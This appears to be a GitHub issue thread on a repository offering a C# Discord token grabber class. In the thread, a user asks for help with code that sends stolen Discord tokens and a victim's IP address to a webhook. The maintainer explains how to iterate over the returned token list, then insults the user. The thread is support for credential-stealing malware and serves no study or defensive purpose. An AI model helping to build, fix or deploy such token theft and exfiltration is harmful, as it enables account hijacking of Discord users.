MoistCoder / DiscordGrabber

Private use C# Discord Token grabber class that anyone can easily add to their projects
MIT License
8 stars 0 forks source link

System.Collections.Generic.List`1[System.String] #1

Closed Zordon1337 closed 1 year ago

Zordon1337 commented 1 year ago

when i'm trying to use var token = DiscordGrabber.GetTokens(); i get System.Collections.Generic.List`1[System.String] instead of token

MoistCoder commented 1 year ago

What you are saying makes no sense. When calling the method GetTokens() you should get nothing as it doesn't access your output. You probably just used DiscordGrabber.GetTokens().ToString() which resulted in your output is that right?

Zordon1337 commented 1 year ago

i used

var token = DiscordGrabber.GetTokens();

dcWeb.SendMessage("IP: " + data2 + "\ntoken: " + token);

i want to know how to get token to string

MoistCoder commented 1 year ago

GetTokens()'s return type is List<string>. Lists are basic knowledge, so I assume you're a skid, but anyway: You will need to loop through the list to get all values (like in the example I provided in the Readme):

foreach (string token in DiscordGrabber.GetTokens()) Console.WriteLine(token);

You can also use a for or while loop

Zordon1337 commented 1 year ago

i'm not skid but sometimes i'm using someone src. most of my project are coded by me. i still don't have idea how to fix. after using foreach it doesn't anymore sends the webhook

MoistCoder commented 1 year ago

i'm not skid but sometimes i'm using someone src.

That is a blatant lie. Every C# developer knows what lists are and how loops work.

i still don't have idea how to fix. after using foreach it doesn't anymore sends the webhook

Hahaha, you probably just copied the example into your code LMAO. Whatever kid don't waste my time. I know you just searched for a discord token stealer to modify a small amount of its code so you can claim it as yours. You don't know C# let alone English. I'm not gonna help skids.